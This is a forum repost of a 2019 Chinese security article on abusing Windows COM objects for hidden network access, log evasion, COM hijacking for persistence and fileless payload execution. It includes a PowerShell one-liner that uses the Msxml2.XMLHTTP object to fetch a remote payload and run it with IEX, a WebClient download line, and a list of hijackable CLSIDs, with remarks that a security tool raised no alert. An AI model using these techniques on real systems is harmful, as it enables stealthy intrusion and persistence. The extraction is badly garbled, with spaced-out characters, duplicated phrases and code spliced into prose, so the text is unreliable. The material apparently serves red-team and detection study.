搜索

[14365] 2019-07-19_TOD赤橙黄绿青蓝紫队系列：COM之恶

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-07-19_TOD赤橙黄绿青蓝紫队系列：COM之恶 T O D 赤 橙 黄 绿 青 蓝 紫 队 系 列 ： C O M 之 恶 k c z w a 1   F r e e B u f   2 0 1 9 - 0 7 - 1 9 0 x 0 0   前 言 前 言 渗 透 测 试 人 员 、 红 队 以 及 恶 意 软 件 都 在 攻 击 中 使 用 渗 透 测 试 人 员 、 红 队 以 及 恶 意 软 件 都 在 攻 击 中 使 用 C O M 对 象 ， 遂 参 考 多 方 资 料 对 对 象 ， 遂 参 考 多 方 资 料 对 C O M 的 恶 意 应 用 作 一 个 小 总 结 。 的 恶 意 应 用 作 一 个 小 总 结 。 “ 微 软 组 件 对 象 模 型 （ C o m p o n e n t   O b j e c t   M o d e l ， C O M ） 是 平 台 无 关 、 分 布 式 、 面 向 对 象 的 一 种 系 统 ， 可 以 用 来 创 建 可 交 互 的 二 进 制 软 件 组 件 ” 。 C O M 是 微 软 O L E （ 复 合 文 档 ） 、 A c t i v e X （ 互 联 网 支 持 组 件 ） 以 及 其 他 组 件 的 技 术 基 础 。 每 个 C O M 对 象 都 对 应 于 唯 一 的 二 进 制 标 识 符 ， 这 些 全 局 唯 一 标 识 符 为 1 2 8 比 特 （ 1 6 字 节 ） ， 通 常 被 称 为 G U I D 。 当 G U I D 用 来 标 识 某 个 C O M 对 象 时 ， 就 成 为 C L S I D （ 类 标 识 符 ） 。 某 些 C L S I D 还 包 含 可 读 的 文 本 ， 即 P r o g I D 0 x 0 1   C O M   用 于 恶 意 软 件 中 访 问 网 络 用 于 恶 意 软 件 中 访 问 网 络 A P T 2 9 曾 使 用 I n t e r n e t E x p l o r e r . A p p l i c a t i o n   C O M   O b j e c t   来 访 问   U R L   和 获 取 图 像 C O M 可 用 于 打 开 I n t e r n e t   E x p l o r e r 来 访 问 网 络 。 对 于 恶 意 工 具 开 发 者 有 如 下 好 处 ： 1 .   H T T P 通 信 由 用 户 的 i e x p l o r e . e x e 进 程 执 行 ， 而 不 是 由 恶 意 软 件 本 身 执 行 。 2 .   没 有 使 用 s o c k e t 等 常 见 网 络 函 数 。 如 下 代 码 为 使 用 I n t e r n e t E x p l o r e r . A p p l i c a t i o n 对 象 访 问 网 络 逆 向 分 析 时 ： 根 据 C o C r e a t e I n s t a n c e 找 到 c l s i d ， 通 过 c l s i d 可 以 看 到 p r o g i d 为 I E ： 0 x 0 2   C O M   用 于 一 定 程 度 隐 藏 网 络 行 为 日 志 用 于 一 定 程 度 隐 藏 网 络 行 为 日 志 通 过 通 过 I n t e r n e t E x p l o r e r . A p p l i c a t i o n 对 象 访 问 网 络 对 象 访 问 网 络 使 用 如 下 的 p o w e r s h e l l 命 令 访 问 h t t p 网 络 ： 通 过 对 s y s m o n 日 志 分 析 可 以 发 现 ： 有 p o w e r s h e l l 启 动 日 志 ， 有 I E 启 动 日 志 ， 但 是 I E 的 启 动 日 志 与 p o w e r s h e l l 无 关 ： i f   ( S U C C E E D E D ( O l e I n i t i a l i z e ( N U L L ) ) ) { I W e b B r o w s e r 2 *   p B r o w s e r 2 ; H R E S U L T   h r ; I D i s p a t c h *   p H t m l D o c   =   N U L L ; C o C r e a t e I n s t a n c e ( C L S I D _ I n t e r n e t E x p l o r e r ,   N U L L ,   C L S C T X _ L O C A L _ S E R V E R , I I D _ I W e b B r o w s e r 2 ,   ( $ i e O b j e c t =   N e w - O b j e c t   - C o m O b j e c t   ' I n t e r n e t E x p l o r e r . A p p l i c a t i o n ' $ i e O b j e c t . V i s i b l e =   $ t r u e $ i e O b j e c t . N a v i g a t e ( ' h t t p : / / w w w . b a i d u . c o m ' )
使 用 如 下 的 使 用 如 下 的 p o w e r s h e l l 命 令 直 接 访 问 网 络 下 载 文 件 命 令 直 接 访 问 网 络 下 载 文 件 则 通 过 s y s m o n 日 志 可 以 看 到 I D   3   事 件 记 录 了 p o w e r s h e l l 发 生 了 可 疑 网 络 行 为 ： 0 x 0 3   C O M   h i j a c k   用 于 防 御 逃 逸 和 持 久 化 用 于 防 御 逃 逸 和 持 久 化 A T T & C K 模 型 中 模 型 中 T 1 1 2 2 项 目 对 此 有 详 细 描 述 项 目 对 此 有 详 细 描 述 A P T 2 8 曾 使 用 此 技 术 。 H K C R   k e y 是 H K C U 和 H K L M 的 虚 拟 表 示 。 其 中 主 机 全 局 设 置 （ 适 用 于 所 有 用 户 ） 存 储 在 H K L M 中 ， 单 个 用 户 的 设 置 存 储 在 H K C R 中 。 当 从 H K C R 读 取 k e y 值 时 ， 首 先 从 H K C U S o f t w a r e C l a s s e s c l s i d 读 取 k e y 值 ， 如 果 不 存 在 ， 则 从 H K L M 读 取 k e y 值 . 同 时 中 低 权 限 进 程 无 法 修 改 H K L M ， 但 可 以 修 改 H K C U . 因 此 所 谓 C O M   h i j a c k 就 是 修 改 H K C U 中 的 x x x x I n p r o c S e r v e r 3 2 中 的 值 。 公 开 报 告 中 发 现 的 恶 意 样 本 劫 持 过 的 C O M 尝 试 修 改 了 下 对 应 注 册 表 进 行   c o m   h i j a c k ，   在 测 试 时 ， 某 安 全 工 具 无 告 警 。 0 x 0 4   无 文 件 下 载 及 执 行 无 文 件 下 载 及 执 行 F 5 0 7 8 F 3 5 - C 5 5 1 - 1 1 D 3 - 8 9 B 9 - 0 0 0 0 F 8 1 F E 2 2 1 } 这 个 C O M 对 象 （ M s x m l 2 . X M L H T T P . 3 . 0 ） ， 可 以 用 来 下 载 任 意 代 码 并 执 行 ， 无 需 将 p a y l o a d 写 入 磁 盘 ， 也 不 会 触 发 基 于 S y s t e m . N e t . W e b C l i e n t 的 常 用 检 测 规 。 使 用 如 下 命 令 ： 在 测 试 时 ， 某 安 全 工 具 无 告 警 ： $ c l i e n t   =   n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t $ c l i e n t . D o w n S t r i n g ( ' 1 . 1 . 1 . 1 / a ' ) { B C D E 0 3 9 5 - E 5 2 F - 4 6 7 C - 8 E 3 D - C 4 5 7 9 2 9 1 6 9 2 E } ,   M M D e v i c e E n u m e r a t o r . { d 9 1 4 4 d c d - e 9 9 8 - 4 e c a - a b 6 a - d c d 8 3 c c b a 1 6 d } I n p r o c S e r v e r 3 2 E h S t o r S h e l l . d l l { 0 8 2 4 4 e e 6 - 9 2 f 0 - 4 7 f 2 - 9 f c 9 - 9 2 9 b a a 2 e 7 2 3 5 } I n p r o c S e r v e r 3 2   n t s h r u i . d l l . { b 5 f 8 3 5 0 b $ o   =   [ a c t i v a t o r ] : : C r e a t e I n s t a n c e ( [ t y p e ] : : G e t T y p e F r o m C L S I D ( " F 5 0 7 8 F 3 5 - C 5 5 1 - 1 1 D 3 - 8 9 B 9 - 0 0 0 0 F 8 1 F E 2 2 1 " ) ) ;   $ o . O p e n ( " G E T " ,   " h t t p : / / x x x x / p a y l o a d " ,   $ F a l s e ) ;   $ o . S e n d ( ) ;   I E X   $ o . r e s p o n s e T e x t ;
S y s m o n 日 志 对 p o w e r s h e l l 的 网 络 行 为 有 记 录 ， 但 对 执 行 内 容 无 记 录 ： 参 考 文 章 参 考 文 章 h t t p s : / / w w w . f i r e e y e . c o m / b l o g / t h r e a t - r e s e a r c h / 2 0 1 9 / 0 6 / h u n t i n g - c o m - o b j e c t s - p a r t - t w o . h t m l h t t p s : / / w w w . f i r e e y e . c o m / b l o g / t h r e a t - r e s e a r c h / 2 0 1 9 / 0 6 / h u n t i n g - c o m - o b j e c t s . h t m l h t t p s : / / a t t a c k . m i t r e . o r g / w i k i / T e c h n i q u e / T 1 1 2 2 * 本 文 作 者 ： 本 文 作 者 ： k c z w a 1 ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理